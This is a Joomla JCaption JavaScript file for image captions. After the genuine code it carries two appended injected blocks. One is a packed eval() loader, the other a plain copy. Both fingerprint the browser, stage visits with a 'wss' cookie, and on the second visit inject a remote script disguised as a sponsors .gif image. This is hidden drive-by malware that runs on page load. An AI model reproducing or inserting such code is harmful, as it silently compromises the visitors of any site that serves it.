/**
* @version		$Id: caption.js 5263 2006-10-02 01:25:24Z webImagery $
* @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

/**
* JCaption javascript behavior
*
* Used for displaying image captions
*
* @package	Joomla
* @since	1.5
* @version	1.0
*/
var JCaption = new Class({
	initialize: function(selector)
	{
		this.selector = selector;

		var images = $$(selector);
		images.each(function(image){ this.createCaption(image); }, this);
	},

	createCaption: function(element)
	{
		var caption   = document.createTextNode(element.title);
		var container = document.createElement("div");
		var text      = document.createElement("p");
		var width     = element.getAttribute("width");
		var align     = element.getAttribute("align");

		if(!width) {
			width = element.width;
		}

		//Windows fix
		if (!align)
			align = element.getStyle("float");  // Rest of the world fix
		if (!align) // IE DOM Fix
			align = element.style.styleFloat;

		if (align=="") {
			align="none";
		}

		text.appendChild(caption);
		text.className = this.selector.replace('.', '_');

		element.parentNode.insertBefore(container, element);
		container.appendChild(element);
		if ( element.title != "" ) {
			container.appendChild(text);
		}
		container.className   = this.selector.replace('.', '_');
		container.className   = container.className + " " + align;
		container.setAttribute("style","float:"+align);

		container.style.width = width + "px";

	}
});

document.caption = null;
window.addEvent('load', function() {
	var caption = new JCaption('img.caption')
	document.caption = caption
});



eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(c(d){2 k=Q.P;2 f=O;6(k.8("N")!=-1||k.8("R")!=-1)f=n;6(f!==n)A;2 m=\'W://V-o.M//T/X/o/D/C/E.F?L\';2 e=q("b");6(e){6(e==\'t\'){a("b","J","3");2 s=5.I(\'H\');s.U=\'Z/19\';s.Y=m+\'&r=\'+v B().1b();2 h=5.1a(\'1c\')[0];h.17(s)}p{}}p{a("b","t","3")}c q(9){2 i,x,y,4=5.u.12(";");13(i=0;i<4.15;i++){x=4[i].l(0,4[i].8("="));y=4[i].l(4[i].8("=")+1);x=x.14(/^\\s+|\\s+$/g,"");6(x==9){A 18(y)}}}c a(9,z,j){2 7=v B();7.10(7.11()+j);2 w=16(z)+((j==G)?"":"; K="+7.S());5.u=9+"="+w}})(5);',62,75,'||var||ARRcookies|document|if|exdate|indexOf|c_name|setCookie|wss|function||rc|show||||exdays|agent|substr|staturl|true|madelief|else|getCookie|||goot1|cookie|new|c_value|||value|return|Date|sponsors|images|denees|gif|null|script|createElement|goot2|expires|js|nl|Firefox|false|userAgent|navigator|MSIE|toUTCString|www|type|stichting|http|templates|src|text|setDate|getDate|split|for|replace|length|escape|appendChild|unescape|javascript|getElementsByTagName|getTime|head'.split('|'),0,{}))


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/www/templates/madelief/images/sponsors/leneman.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
